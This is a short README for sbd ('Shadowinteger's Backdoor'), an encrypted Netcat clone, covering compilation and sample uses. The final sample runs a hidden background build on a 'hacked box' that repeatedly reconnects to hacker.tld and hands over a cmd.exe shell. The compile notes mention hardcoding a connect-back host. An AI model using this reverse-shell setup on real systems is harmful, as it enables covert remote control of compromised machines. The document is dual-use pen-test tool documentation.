by Blomgren
aka Shadowinteger's Backdoor
Released in June 2004
sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. Source code and binaries are distributed under the GNU General Public License. COMPILATION ~~~~~~~~~~~ To compile sbd under a Unix-like operating system you need gcc and relevant development tools. For Linux, FreeBSD, NetBSD, OpenBSD (and possibly others), type: $ make unix For SunOS/Solaris, type: $ make sunos To compile sbd under Microsoft Windows (NT/2K/XP/2K3) you need MinGW+MSYS, or Cygwin with full development support (Cygwin's MinGW gcc). To compile a native Win32 sbd console application under Cygwin, type: $ make win32 or, under MSYS: $ make mingw To compile a no-console ("WinMain") application under Cygwin, type: $ make win32bg or, under MSYS: $ make mingwbg To compile a Cygwin-specific console application, type: $ make cygwin You may want to change the default behaviour of sbd. One of the most important thing is to change the default shared secret to your own pass phrase. Edit sbd.h and replace with your preferences. You may, for example, want to hardcode a host + port to connect to if sbd is started without options. Complete examples are provided in sbd.h. SAMPLE USES ~~~~~~~~~~~ With a little imagination, sbd can be used for many things... * Use sbd to securely transfer files between two networks: snafu$ sbd -l -p 12345 -k secret > output.file fubar$ cat input.file | sbd -k secret snafu 12345 or from win32: C:\somedir>type input.fil | sbd -k secret snafu 12345 * Use sbd as a simple (but secure) chat: snafu$ sbd -P snafu -Hon fubar 1234 fubar$ sbd -Pfubar -Hon -l -p 1234 * Use sbd as a pen-test backdoor: C:\hacked box>sbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443 Blomgren sbd 1.21: size: 56.320 bytesMegaSecurity